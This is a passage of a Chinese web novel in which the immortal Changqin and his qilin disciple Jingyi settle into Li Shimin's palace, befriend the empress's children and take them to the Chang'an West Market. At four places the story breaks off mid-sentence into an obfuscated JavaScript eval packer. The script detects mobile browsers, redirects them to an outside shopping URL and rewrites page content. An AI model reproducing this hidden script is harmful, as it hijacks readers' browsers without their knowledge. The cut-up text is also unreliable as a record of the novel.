他瞥了一眼李世民,此人气运堂皇,心志坚定,所求乃国祚绵长,在未明真相前,应不至于对景颐不利,反而会竭力保护这可能的预警之源。 更重要的是,《鸣岐谱》的下落与人道昌明之气运相关。还有什么地方,比这个正在崛起王朝的中心,更能感受和追踪那种鸣岐天音的共鸣呢? 长琴终于抬首,看向目光中带着希冀与一丝紧张的李世民,缓缓颔首。 “可。” 仅仅一字,却让李世民紧绷了半夜的心弦,为之一松。 “但需约法三章。” 长琴声音平淡却不容置疑, “其一,景颐身份,除你之外,不可再泄于第三人。其二,其能力不可被妄加利用或试验。其三,居所需僻静,日常起居,由我安排。” “自然!”李世民毫不犹豫应下, “一切依仙长所言。朕即刻安排,就在宫内寻一清雅独立院落,一应人手器物,尽数备齐,绝不打扰仙长清静与令徒安宁。” 晨光熹微,透过窗棂,洒在两人之间。 一夜的震惊、恐慌、试探与沉重对话,终于在这各取所需、各怀心思的初步约定中,暂时落定。 新的篇章,将从这终南山巅,移向那座雄踞关中的、正在书写自己传奇的巍巍长安城。 神兽、仙君、帝王,三方命运的交汇,即将在那片红尘最炽热处,展开新的波澜。 景颐在睡梦中翻了个身,咂咂嘴,完全不知道,自己即将从山野小兽,升级为宫廷重点观察(保护)对象兼皇子公主潜在玩伴(破坏王)。 一切解决后,李世民决定先行一步,回去上朝。长琴、景颐二人收拾齐全后,由李世民安排的人马带入宫中。 李世民于清晨独自下山,与焦急等候在山外的禁军汇合。 回宫路上,他闭目养神,脑海中却反复回响着长夜的对谈,以及……那个荒诞又真实的魏征进谏梦。 踏入太极殿时,阳光正照亮御阶。文武百官分列,气氛庄严肃穆。 起初一切如常,直到议题转到秋狝善后与陛下昨日短暂离队之事。 只见魏征手持玉笏,稳步出列,面色端凝,声音洪亮如钟: “陛下!臣闻天子出入,仪卫有常。昨日夏苗,陛下轻身深入险林,久离大队,此非万乘自重之道,亦非……” 字字句句,竟与昨日梦中分毫不差!连那微微飞溅的唾沫星子的轨迹,都似曾相识! 李世民原本紧绷的心弦,因为这过分精准的预演,反而“啪”地一下松了。 一种极其荒诞的感觉涌上心头。 他,大唐天子,刚刚经历了神兽托梦、预见国难的冲击,此刻却要在这里,一丝不差地体验另一个关于自己被臣子唾沫星子教育的预知梦? 这对比太过鲜明,反差太过强烈。忧国忧民的沉重,与眼前这桩小事被精准预言的滑稽感交织在一起。 他一时没忍住,嘴角抽动了几下,竟低低笑出了声。 殿内瞬间死寂。 魏征的谏言戛然而止,愕然抬头。满朝文武目瞪口呆,像是看到了什么不可思议的景象。 陛下……在魏征谏言时……笑了? 下一秒,魏征的脸由肃然转为涨红,那是士大夫尊严被轻视的激动: “陛下!臣所言乃关乎社稷礼仪,陛下何故发笑?岂不闻……” 真正的、比梦境更加猛烈、更加引经据典、更加滔滔不绝的谏诘,如同黄河决堤,轰然倾泻! 这下,不仅梦中场景重现,还附带了因李世民不当笑场而触发的威力加强版。 李世民赶紧收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他蹭到正在屋内翻看李世民送来的一批疑似与古乐谱相关的古籍的长琴身边,拽了拽师父的衣袖,仰起脸,深褐色的大眼睛里盛满了渴望,声音又软又糯: “师父……” “嗯?” “外面……街上……好热闹。” “嗯。” “颐儿想……” 小家伙小心翼翼地观察师父脸色, “想去看看……就看看!那个香香的饼饼,还有会翻跟头的人……” 他越说越激动,越说越大声,仿佛想看的东西就在眼前。 长琴放下竹简,垂眸看他。 他知道把这天性好奇好动的神兽幼崽关在宫里不现实,今天这一路,景颐的表现已经算是克制了。 让他适当接触市井,或许也是人间历练的一部分,只要做好防护…… 见师父没立刻反对,景颐立刻打蛇随棍上,抱住长琴的腿开始“咏叹调”: “师父最好了!颐儿一定乖乖的!不乱跑!就看看!牵着师父!戴好玉佩!吃完蜜饯……不,看完就回来!” 最终,在景颐快要化身牛皮糖挂件之前,长琴几乎微不可闻地轻轻叹了口气。 “日落前必须回来。” “嗯嗯嗯!” 景颐点头如捣蒜。 片刻后,换了一身寻常富家小郎君服饰、颈间玉佩掩在衣领下的景颐,紧紧牵着同样换了朴素青衫、收敛了绝大部分仙气的长琴的手。 眼睛亮得像偷到了星星,迈出了凝云轩,朝着记忆中那喧嚣与香气飘来的方向,迫不及待地跑去。 5. 第 5 章 凝云轩迎来特殊客人的消息,虽未张扬,但自然瞒不过六宫之主长孙皇后。 李世民早朝后,便径直来到立政殿。 他并未对她言明全部,只道是山中偶遇的隐世高人与其幼徒,学问深湛,于自己有警示之助,故请入宫中暂居,以礼相待,亦免外人打扰其清修。 他提及那孩童时,语气有一丝罕见的复杂:“那孩子,名景颐,心性质朴,然颇为好动,与寻常孩童略异,需多看顾些。” 长孙皇后何等聪慧,从丈夫略显凝重的神色、特意安排的僻静院落、以及“略异”、“多看顾”这些含糊措辞中,已察觉此事绝非寻常贵客那般简单。 陛下不欲深谈,她便不问,只将一份细致妥帖的关照放在心里。 她亲自过问了凝云轩的用度,挑选了性情最沉稳、口风最紧的宫人内侍前去伺候,吩咐务必恭敬周全,但非召不得擅入内室打扰。 又细心添置了许多孩童适用的器物、衣物、玩具和不易上火又美味的点心,仿佛真是为了款待一位重要的远亲孩童。 当日下午,立政殿内。 太子承乾、魏王泰、长乐公主丽质等几位年纪稍长的皇子公主,被召至母后跟前。孩子们见父母同在,且神色比平日更多几分郑重,都有些好奇地站好。 长孙皇后将孩子们唤到身边,声音温柔道: “今日唤你们来,是有一事。宫中新来了两位客人,一位是极有学问的长辈,一位是比你们略小些的弟弟,名唤景颐。他们远道而来,要在宫中住些时日。” 李世民接口,语气比在朝堂上温和,但带着父亲的威严:“这位小弟弟,或许与你们见过的孩童略有不同,性子跳脱些,好奇心重。你们身为兄姊,要懂得照顾,带着他好好玩耍,御花园、百兽园的外围区域皆可,但不可去危险之处,不可争执欺生。要记住,待客以诚,以友相待,便是皇家风范。” 李承乾已十二岁,自然懂事地恭敬应下。 小一岁李泰眨着眼睛,好奇地问:“耶耶,那弟弟会玩什么新奇游戏吗?” 小丽质则小声问母后:“他喜欢花吗?丽质可以带他看我最喜欢的那株牡丹。” 长孙皇后笑着抚过孩子们的头发: “这便要你们自己去发现了。记住,他是客人,也是玩伴。去吧,待他们从宫外回来,可以让嬷嬷带你们去凝云轩附近,若见到那位小弟弟出来玩耍,便可上前邀请,记得要有礼貌。” 孩子们带着些许兴奋与任务感离开了。李世民与长孙皇后相视一笑。 —— 午后的御花园,阳光正好。蝉声慵懒,空气中浮动着草木与泥土被晒暖后的清香,但这宁静很快被一道旋风般的小身影打破。 景颐像一颗被发射出来的、裹着浅青色锦袍的小炮弹,从嬷嬷们“小心!慢点!”的惊呼声中冲了出来。 他颈间的羊脂玉佩随着跑动一晃一晃,褐色眼眸里闪烁着发现新大陆般的兴奋光芒。 什么奇花异草?不存在的!他的目标是假山后可能藏着的小虫,是池边一块形状奇怪的石头,是树上某只叫声特别的鸟。 “哇!嬷嬷快看!石头会动!”他指着地上缓慢爬行的潮虫大喊。 “蝴蝶!金色的!比流云境的还亮!”他追着一只菜粉蝶,完全无视了脚下名贵的牡丹苗。 “这树好高!能爬吗?”他跃跃欲试地抱住一棵老梅树的树干。 两位被精挑细选来、本以沉稳著称的老嬷嬷,此刻额头已见薄汗,既要努力跟上这小祖宗的步伐,又要防着他真去爬树或跳进池子里捞鱼,简直心力交瘁。 就在这鸡飞狗跳的追逐戏码上演到假山附近时,另一行人恰巧转过弯来。 正是仪态端庄的长孙皇后,领着长乐公主李丽质,以及被乳母牵着、走得还有些摇晃的九皇子李治。 景颐一个急刹车,差点撞到长孙皇后身上。他站稳,毫不怯场地抬起头,目光像探照灯一样,迅速扫过眼前这群新面孔。 长孙皇后看着这个突然闯入视线、跑得脸蛋红扑扑、眼神亮得惊人的孩子,微微一怔。 丽质好奇地睁大了眼睛,李治也忘了走路,呆呆地看着这个突然出现的、活力四射的小郎君。 景颐的目光首先锁定了和他个头差不多的丽质,以及她手里那个色彩鲜艳的绣球。他眼睛“唰”地亮了,立刻扬起一个极具感染力的灿烂笑容,主动开口,声音清脆: “你的球真好看!能一起玩吗?我叫景颐!” 他甚至自来熟地往前凑了半步,完全无视了身份差距和初次见面的礼节。 丽质被这直接又热情的笑容晃了一下,小脸微红,下意识地把绣球往前递了递: “……好、好啊。我是丽质。” “丽质阿姊!”景颐从善如流,立刻给新伙伴升级了称呼,伸手就去接球,动作自然得仿佛两人早已是玩伴。 嬷嬷在一旁急得差点出声提醒礼数,长孙皇后却轻轻抬手制止了。 她眼中闪过一丝兴味,饶有兴致地看着这不怕生、甚至有点反客为主的小客人。 景颐拿到球,拍了两下,立刻发现了新玩法。他把球往旁边草地上一滚,球慢悠悠地朝着李治的方向滚去。 “弟弟!接住!”他冲着李治喊,自己则像只兴奋的小狗一样跟在球后面跑。 李治看着滚到脚边的球,又看看跑过来的、笑容灿烂的小哥哥,懵懂地松开乳母的手,弯腰想去捡。 景颐已经跑到跟前,却没有自己捡起来,而是蹲下来,引导着李治的小手抱住球。 “对!就这样!弟弟真棒!”他毫不吝啬地夸奖,还伸手揉了揉李治软软的头发。 就在他靠近李治、全心投入“教学”的刹那,或许是情绪高昂,或许是孩童间纯粹的接触引发某种共鸣。 长孙皇后清晰地瞥见,景颐那双原本深褐的眼底,极快地掠过一抹跳跃的、流动的金色光点,快得像错觉,却带着难以言喻的灵动与活力。 她心下微动。 更让她讶异的是,向来有些怕生、尤其对过于活泼事物会退缩的雉奴,这次非但没躲,反而被景颐的热情感染,抱住球,咯咯地笑了起来,甚至含糊地跟着学: “……弟弟!球!” 景颐更来劲了,开始指挥:“丽质阿姊,我们站这边!弟弟,把球滚过来!对!就这样!” 他瞬间成了三人小游戏的核心,分配任务,加油鼓劲,虽然规则是他随口瞎编的,但成功让丽质和李治都跟着他跑动、欢笑起来。 御花园一角顿时充满了孩童清脆的笑声和“这边!”“给我!”的欢快叫嚷。 长孙皇后静静看着,面上依旧是温婉的笑意,心中却波澜微起。这孩子何止是好动,简直是个人形小太阳,拥有瞬间点燃周围气氛、并且让人不自觉跟着他节奏走的奇特能力。 那转瞬即逝的眸色异象,雉奴反常的亲近与投入……都指向这个孩子的不寻常。 “景颐很有精神呢。”她对试图上前控制局面的嬷嬷温和地说,眼神却示意无妨。 嬷嬷松了口气,低声禀报:“小郎君精力旺盛,心地是极好的。” 玩了一会儿,景颐鼻尖冒汗,却意犹未尽。他看到丽质鬓角一朵精致的绢花,立刻被吸引:“阿姊,你的花也好看!” 而后目光又落到长孙皇后佩戴的玉簪上,“大姐姐,您的簪子亮晶晶的!” 夸赞得直白又真诚,让人生不起气来。 已为人母多年的长孙皇后猛地一听到“大姐姐”这个称呼,愣了一下,忍不住噗嗤一笑。 她蹲下身,伸手理了理景颐玩得凌乱的头发,笑道:“怎么叫我姐姐啊?” 景颐看着面前温柔姣好的面容,也笑着说:“玄女姐姐说,看到好看的人都要叫姐姐!” 长孙皇后笑得更加开怀:“那你叫丽质为阿姊,又称我为姐姐,这辈分岂不是乱了?” 一旁的丽质也吃吃笑了起来,李治不明就里,看着娘娘和阿姊都在笑,也跟着嘻嘻笑。 “啊?” 景颐不懂什么辈分,毕竟神仙们很是长命,对于辈分之类的也不大在意。 但他看到一众人都在笑,有些不服气的噘嘴:“哼!我有我自己的说法!你是大姐姐,丽质阿姊是小姐姐,这不就得了!” 一时间,所有人笑得更加厉害,连几位嬷嬷都笑得直不起腰,互相搀扶。 景颐瞪大眼,听着周围此起彼伏的笑声,小脸涨得通红,深褐色的眼睛里写满了“你们这些凡人不懂我高级称呼体系”的委屈和气恼。 他跺着脚,声音都拔高了:“不许笑了!再笑、再笑我就让我师父布个阵,把你们都定住!让你们只能看我一个人玩!” 这“威胁”配上他那张稚气未脱、故作凶狠的脸,反而更添喜感。长孙皇后好不容易止住笑,看着眼前这只炸毛的小孩,眼中漾满温柔的涟漪。 她伸手轻轻捏了捏景颐鼓起的脸颊,柔声道:“好,好,不笑了。是我们不对,不该笑话景颐。” 她又转向丽质和掩嘴的宫人们,笑意未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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景颐看着那惨不忍睹的糕点,脸上的笑容僵了一下,但看到雉奴那亮晶晶、充满分享欲的眼睛,他还是郑重其事地接了过来,小心地没碰到口水部分,然后大声说: “谢谢雉奴弟弟!我等会儿……嗯,等会儿和我的蜜饯一起吃!” 当然,内心里想的是这个还是留给土地公公吧。 一场小小的称呼危机和笑话风波,就在孩子们童稚的互动和礼物交换中化为无形,气氛反而更加融洽亲昵。 眼看日头偏西,嬷嬷不得不上前,这次语气更加温柔小心:“小郎君,时辰不早了,再不回去,仙长该担心了。” 景颐摸了摸腰间的香囊和手腕的铃铛,又看了看新认识的大姐姐、小姐姐和小弟弟,虽然不舍,但还是点了点头。 他对着长孙皇后认真地说:“大姐姐,我明天还来!我带师父做的毽子来!” 又对丽质和李治挥手:“小姐姐再见!雉奴弟弟再见!” 说完,才一步三回头地跟着嬷嬷离开,手腕上的小铃铛随着他的步伐,发出叮叮咚咚欢快的脆响,渐渐远去。 长孙皇后直起身,望着那活力四射的小身影消失,唇边的笑意久久未散。丽质依偎过来,小声说:“娘娘,景颐弟弟真有趣,他叫我小姐姐呢。” 语气里带着新奇和欢喜。 “是啊,他是个特别的孩子。” 长孙皇后揽着女儿,又看了看被乳母抱起的、还在朝景颐离开方向张望的李治,心中那份因那转瞬即逝的金色流光和孩子们异常亲近而生出的疑惑与探究,被此刻温馨趣致的画面冲淡了不少,但并未消失。 这孩子天真烂漫,热情如火,却又隐隐透着不凡。他口中的玄女姐姐是谁?他那位未曾露面的师父,又是何等人物?陛下将他们安置宫中,绝非寻常。 “走吧,我们也该回去了。” 长孙皇后收敛思绪,牵着丽质,缓步离开御花园。夕阳将她们的影子拉得很长,空气中仿佛还残留着孩童清脆的笑语和铃铛的余韵。 而回到凝云轩的景颐,早已把刚才那点小恩怨抛到九霄云外,正举着香囊和绳结,叽叽喳喳地向刚刚结束调息、从房内走出的长琴展示今日“战利品”,并手舞足蹈地描述他是如何“征服”了新朋友,以及大姐姐有多么温柔好看。 长琴听着徒弟兴奋的叙述,目光扫过那明显出自宫中之物的香囊和绳结,又看了看景颐亮晶晶、毫无阴霾的眼睛,心中微动。 人间皇室,似乎比他预想的,更早地接纳了这个麻烦的小家伙。 他抬头,望向渐渐沉入暮色的宫殿飞檐。寻找《鸣岐谱》之路,或许比他想象的,更早地与这大唐宫廷的气运,纠缠在了一起。 而他的小徒弟,显然已经乐在其中,并且开始自发地……拓宽他们的社交版图了。 6. 第 6 章 几日过去,凝云轩的平静(相对而言)再次被打破。 景颐像一只被关久了的小兽,在院子里转了一圈又一圈。 据他所说,他把假山石摸了一百遍,池子里的锦鲤数了两百回,连墙角新冒出的蘑菇都研究过了。 景颐终于按捺不住,扑到正在廊下翻阅一本刚从宫内藏书处寻来的、疑似与《鸣岐谱》有关残卷的长琴腿边,开始了熟悉的咏叹调攻势。 “师父——” “嗯。” “外面……好天气。” “嗯。” “街上……肯定很热闹。” 小眼神开始飘忽。 “……” “颐儿保证!这次一定不乱跑!牵着师父!只看不摸!吃完……不,看完就回来!” 台词熟练得令人心疼。 长琴从竹简上抬起眼,看着徒弟那张写满渴望自由的小脸。 他知道,上次短暂的市井之行只是吊起了景颐更大的胃口,这几日的宫中玩耍虽有趣,但远比不上外面世界的广阔与鲜活。 他正欲开口,院门外传来了孩童清脆的说话声和内侍的通传:“太子殿下、魏王殿下、长乐公主殿下到访。” 李承乾、李泰和丽质的身影已出现在月洞门外。李承乾稍显稳重,努力端着太子的仪态,李泰满眼好奇地打量四周,丽质则有些羞涩地跟在兄长身后。 这是他们第一次正式拜访凝云轩,也是第一次近距离见到这位被耶耶娘娘多次提及、语气中带着敬意的仙长。 当他们的目光落在廊下那位青衣人身上时,三个孩子都不由自主地屏住了呼吸,先前准备好问候的话语也卡在了喉咙里。 那并非威严或可怕带来的紧张,而是一种近乎本能的、面对某种超然物外存在时的无措与敬畏。 他明明只是随意地坐在那里,翻阅着竹简,周身并无迫人气势,却仿佛自成一个宁静悠远的世界,将院中的喧嚣(主要来自某只麒麟)都隔绝在外,连阳光洒在他身上,都显得格外清冷静谧。 然后,他抬起了眼。 三人都不约而同的晃了一下神色。 虽说宫内美人如云,但三个孩子仍是被这不俗的容颜惊艳。 李承乾最先回过神,想起礼仪,连忙拉着弟弟妹妹,躬身行礼,声音比平时更谨慎几分:“小子承乾/泰/丽质,见过仙长。” 丽质甚至不由自主地揪住了大兄的衣角。 李泰心里则在惊呼:这位仙长……比宫里所有的美人都好看!而且好年轻! 长琴的目光在他们身上轻轻掠过,如同微风拂过水面,微微颔首,算是回礼,并未多言,重新将视线落回竹简。但那惊鸿一瞥留下的印象,已深深印在了三个孩子心中。 景颐可没管那么多,看到玩伴来了,眼睛一亮,暂时忘了出宫大计,也高兴地挥手:“丽质阿姊!高明大兄!青雀二兄!” 他记人倒是快。 李泰率先开口:“景颐,宫里新送来几只西域的拂林犬,毛茸茸的,可有趣了,要不要去看?” 丽质也跟着轻声说:“御花园东角那株玉蕊花开了,可漂亮了!” 景颐听着,脸上露出感兴趣的表情,但那双灵活的眼睛转了转,一个更大胆的念头冒了出来。他看看新来的玩伴,又看看师父,一个自认为绝妙的主意成型了。 他蹭到长琴身边,这次不是对着师父一个人撒娇,而是对着全体在场人员,声音提高了些,带着一种分享快乐的兴奋: “宫里的小狗和花花明天也能看!但是外面街上,有会转的糖画儿,能吹出大泡泡的皂角水,还有能把人吞进去又吐出来的大箱子!可好玩了!高明大兄,青雀二兄,丽质阿姊,你们想不想去看看?” 他这话一出,三个皇室孩子都愣住了。出宫?去市井街头?这对他们来说,几乎是另一个世界的事情。 李承乾下意识地看向长琴,又想起耶耶娘娘的叮嘱。 李泰的眼睛却瞬间亮了,充满了探险的渴望。丽质则是好奇又有些怯怯的期待。 景颐见有效果,立刻加大力度,转身抱住长琴的胳膊,开启了终极说服模式: “师父!你看!高明大兄他们也没去过!我们带他们一起去看看吧!人多热闹!我保证,我们都听话!牵着走!不乱跑!您就答应吧!求求您了!最好的师父!” 他一边说,一边用那双已然开始泛起水光的眼睛,可怜巴巴地望着长琴,又回头用眼神向新朋友们求助。 李泰最是心动,忍不住小声帮腔:“仙长……泰,也未曾见过市井……” 丽质也拉着大兄的袖子,眼里满是期盼。 李承乾最为年长,知道此事非同小可,但看着弟弟妹妹渴望的眼神,又想起耶耶似乎对这位仙长和景颐弟弟格外不同,且耶耶曾言“开阔眼界非坏事”,他犹豫了一下,也谨慎地开口: “仙长,若、若确保安全,承乾愿代为看顾弟妹。” 长琴看着眼前这群孩子。景颐是“主谋”,三个皇室孩童是“从犯”兼“人质”。 有他们在,景颐至少会收敛些,皇室也会更注重安全。这局面,倒是比他单独带着景颐出去,或许更……可控一些? 况且,让这过于活泼的弟子带着皇嗣体验民间,算不算某种程度的消耗精力和社会实践? 沉默片刻,在景颐快要变成望师石和三位小贵客屏息以待中,长琴终于放下竹简,淡淡开口: “你既想与他们同去,便去吧。” 景颐眼睛瞪大,惊喜刚冒头,就听师父继续用那无波无澜的语调说:“为师不去。” “啊?” 景颐的小脸瞬间垮下,“师父不去?那、那……” 李承乾三人也有些意外,互相对视一眼。没有仙长在旁,固然少了些拘束,但似乎也少了最大的保障和底气。 长琴仿佛没看到他们的反应,径自道:“高明为长,需负起看顾之责。出宫后,一切听高明与侍卫安排。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114016|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他对李承乾微微颔首,那目光虽淡,却带着无形的重量,让李承乾不由自主挺直了背脊,郑重应道:“是,仙长,承乾明白。” “至于你,” 长琴看向瞬间蔫了的景颐,指尖轻弹,一道极淡的、带着安流章韵律的灵光没入景颐颈间的玉佩,玉佩微不可察地温了一瞬, “玉佩不可离身,遇事不可妄动。日落前,必须回来。” 他的语气没有商量余地。景颐知道这是师父的最终决定,虽然万分想让师父也去看看外面的热闹,但能出去已经是胜利,他瘪瘪嘴,还是用力点头: “颐儿知道了!一定听话!” 长琴又看向侍立一旁、早已得到陛下皇后暗中旨意、专门挑选出的两名便装侍卫首领,淡声道:“有劳。” 两位侍卫首领连忙躬身:“仙长放心,卑职等必誓死护卫小殿下们周全。” 安排妥当,长琴便不再多言,重新拿起竹简,仿佛眼前的儿童出游团即将进行的只是一次寻常的庭院散步。 景颐见状,知道没戏了,但很快又重新振作起来。 师父不去,说不定更能放开玩呢!他立刻又活力满满,一手拉起还有些懵懂的丽质,一手招呼李泰:“走走走!青雀二兄,我知道西市最好玩!高明大兄快跟上!” 李泰早已迫不及待,李承乾也压下心中一丝独自带队的紧张,向长琴再次行礼告辞,然后便在一众便装侍卫看似松散、实则严密的护卫下,簇拥着四个兴奋的孩子,离开了凝云轩,朝着宫外而去。 马车辘辘驶离皇城。车厢里,景颐俨然成了小导游,滔滔不绝地介绍着他从上次短暂出游和零星梦境碎片里拼凑出的《长安玩乐指南》。 虽然很多细节可能出自他的想象或理解偏差,但足以让李泰和丽质听得心驰神往,连李承乾都忍不住竖起耳朵。 而凝云轩内,重新归于宁静。长琴却并未继续阅读,他起身,走到院中那丛特意移栽的翠竹旁,目光仿佛穿透重重宫墙,落在了那辆驶向西市的马车上。 他并非不担心。景颐天性跳脱,能力尚未完全可控,市井环境复杂,皇室子女身份敏感。但他更清楚,真正的成长和掌控,需要空间和试炼。 将景颐完全护于羽下,并非长久之计。让他与这些人间身份最贵重的孩童一同,在相对安全但又不失真实的框架下去探索、去应对,或许正是最好的历练。况且,李世民和长孙皇后派出的护卫,绝非庸手。 更重要的是……他的神识微微发散,能隐约感受到,当景颐与那三位身负李唐气运的皇子公主靠近时,彼此间似乎形成了一种微妙的、相互牵引又相互制衡的场。 这或许对景颐稳定心神、无意识中学习收敛自身气息,有着意想不到的好处。 至于他自己…… 他的目光落回手中的残卷。孩子们去他们的红尘历练,他也有他的古谱要寻。 或许,该去拜访一下那位对长安古乐掌故最为熟悉的太常寺老乐正了。 7. 第 7 章 长安西市,正值一日中最鼎沸的时辰。阳光炽烈,人声、马嘶、叫卖声、器皿碰撞声交织成一片充满生命力的宏大乐章。 空气中混杂着香料、熟食、皮革、酒浆以及汗水的复杂气味,对初次踏足此地的李承乾三人而言,这感官冲击可谓巨大。 李承乾努力维持着镇定,但微微攥紧的拳头泄露了他的紧张。 李泰则完全被迷住了,眼睛不够用似的左顾右盼,差点撞到扛着货担的行人。 丽质紧紧拉着大兄的手,既害怕人群的拥挤,又被琳琅满目的货摊和形形色色的人物所吸引,小脸上一半惶恐一半惊奇。 唯有景颐,如鱼得水。 他出发前特意换上了一身更便于行动的宝蓝色胡服,小皮靴踩在石板路上哒哒作响,腰间挂着皇后送的香囊和玉佩,手腕上丽质送的铃铛随着他的动作发出清脆声响。 他像一只领头的小羊,熟门熟路地穿梭在人群中,还不时回头招呼:“高明大兄!这边!看那个!捏面人的!” “哇!面人!”李泰第一个响应,挤到摊子前,看着老匠人手里变幻出栩栩如生的小马、小狗,惊叹不已。 景颐已经掏出自己的零用钱——几枚漂亮的、从流云境带出来的灵光贝币(他坚持认为这个比铜钱好看,长琴懒得纠正,只在里面封了一丝混淆认知的小法术,凡人看去就是品相极好的开元通宝),财大气粗地拍在摊上: “老丈!给我们一人捏一个!我要个大老虎!高明大兄要匹马!青雀二兄要、要只大鹏鸟!丽质阿姊要只小兔子!” 老匠人眉开眼笑,连连应承。李承乾本想阻止这奢侈行为,但看着弟弟妹妹亮晶晶的眼睛,又想到这是景颐弟弟用自己的钱请客(虽然那钱看起来有点怪),便默认了,只是暗暗记下,回宫后要禀明耶耶补偿。 捏好面人,景颐又领着他们冲向卖毕罗和酪樱桃的小食摊。 香甜滚烫的毕罗和冰凉酸甜的酪樱桃,彻底征服了几位小贵客的味蕾,连李承乾都暂时忘了仪态,吃得嘴角沾了酥渣。丽质小口吃着樱桃,眼睛幸福地眯成了月牙。 逛了半晌,吃了零嘴,景颐小手一挥,指向西市中最气派的一座三层食楼荟英楼: “走!我们去那里吃好的!我听人说,那里的菜最好吃!” 他显然把不知道哪个梦境碎片或道听途说的信息当成了指南。 侍卫首领面色微变,低声道:“小郎君,荟英楼人多眼杂,不若寻个清净些的……” 那里达官贵人、富商胡贾云集,万一被认出来…… “不怕不怕!”景颐拍着胸脯,“我们坐在楼上雅间就好了!我都打听好了!” 其实是在马车上临时跟侍卫打听的。 最终,拗不过景颐的兴头和三位小殿下也明显流露出想试试的表情,侍卫们只好先行安排,包下了三楼一个临街但相对隐蔽的雅间。 荟英楼果然热闹非凡,人声鼎沸,胡姬当垆,酒香四溢。 登上三楼,视野开阔,可见楼下街景如织。几个孩子兴奋地趴在栏杆上看了一会儿,才被劝进雅间。 荟英楼三层雅间,孩子们围坐在铺设着靛蓝印花的食案旁,个个脸上都带着逛累后的红晕和兴奋。 一名口齿伶俐、不过十二三岁的小伙计被派来伺候这几位衣着不俗、护卫环伺的小客人。他脸上堆着殷勤的笑,开始如数家珍地报起菜名: “几位小郎君、小娘子,咱们荟英楼的招牌,有凤凰胎,鲜嫩无比,入口即化!” 景颐一听,眼睛瞬间瞪得溜圆,差点从席上跳起来:“凤凰胎?!你们这里,有凤凰?!还、还能吃它的,胎?!” 他震惊了,流云境都没见过几只凤凰,这里居然拿来做菜?还卖?! 李承乾也是一愣,他知道有些菜肴名字起得华丽,但凤凰胎这名字着实有些骇人。李泰和丽质更是小脸发白。 吃凤凰?那岂不是……大不敬?丽质甚至下意识地捂住了嘴。 小伙计一愣,随即反应过来,连忙摆手赔笑:“哎哟,小郎君误会了!这凤凰胎不是真凤凰,是用最新鲜的鲤鱼白(鱼精巢)精心烹制的,只因色泽乳白,形态娇嫩,滋味鲜美赛过传说,故而得名,是比喻,比喻!” 景颐松了口气,但明显有些失望,小声嘀咕:“原来是鱼泡泡啊……名字起得吓人。” 小伙计擦擦汗,继续报:“还有雪婴儿,肉质雪白细腻,最是爽口。” “婴儿?!” 这下连李承乾都皱起了眉头。 “是用初春的小青蛙,裹了细豆粉,用羊油煎得外酥里嫩,因形似婴孩,故名雪婴儿。” 伙计赶紧解释。 “升平炙呢?” 李泰好奇地问,这名字听起来很吉利。 “是取羊羔最嫩的里脊和鹿舌,切得薄如蝉翼,快速炙烤,寓意升平盛世,美味共享。” “那……冷蟾儿羹总不会是蟾蜍吧?” 景颐心有余悸。 “是用肥嫩的蛤蜊肉熬制的羹汤,夏日用冰镇了,最是消暑。” 伙计笑道。 菜名一个个报下来,孩子们的表情从最初的震惊、恐惧,慢慢变成了恍然大悟和忍俊不禁。 原来不是吃凤凰、吃婴儿、吃蟾蜍,都是些寻常或稍珍贵的食材,被起了这些听起来十分了不得的名字。 景颐觉得有趣极了,又指着墙上的挂牌上一个名字问:“那这个仙人脔呢?真是仙人的肉?” 他想着,难道人间真有修士被做成菜了? 伙计忍笑忍得辛苦:“小郎君说笑了,那是用羊乳反复炖煮的鸡块,肉质酥烂如泥,入口无需咀嚼,仿佛仙人享用之物,故称仙人脔。” “哦——” 四个孩子拉长了声音,一副原来如此的表情,互相看了看,都笑了起来,刚才的紧张气氛一扫而空。 最后,在侍卫的低声建议和李承乾的斟酌下,点了几样听起来正常又美味的菜肴,如箸头春(烤活鹌鹑)、同心生结脯(风干肉条)等,并要了清爽的槐叶冷淘(凉面)和蔗浆作为主食和饮子。 等待上菜时,景颐还在回味那些奇怪的菜名,模仿着伙计的腔调对李泰和丽质说: “二位客官,要不要来一份龙肝凤髓?保证是真正的龙和凤哦!” 逗得李泰和丽质咯咯直笑,连李承乾的嘴角都忍不住上扬。 忽然一阵喧闹,楼下大堂似乎起了争执,声音渐高。似乎是某位喝醉的胡商与本地商人因货价问题吵了起来,双方仆从推搡,眼看就要动手。 食客们纷纷侧目,掌柜急得团团转。 雅间里,李泰和丽质有些害怕。李承乾皱眉,示意侍卫下去看看情况,必要时亮出低调的宫中信物平息事端,免得波及楼上。 唯有景颐,听到吵闹,不但不怕,反而眼睛一亮,蹭到栏杆边,踮着脚往下看,嘴里还评论:“打呀!怎么光吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 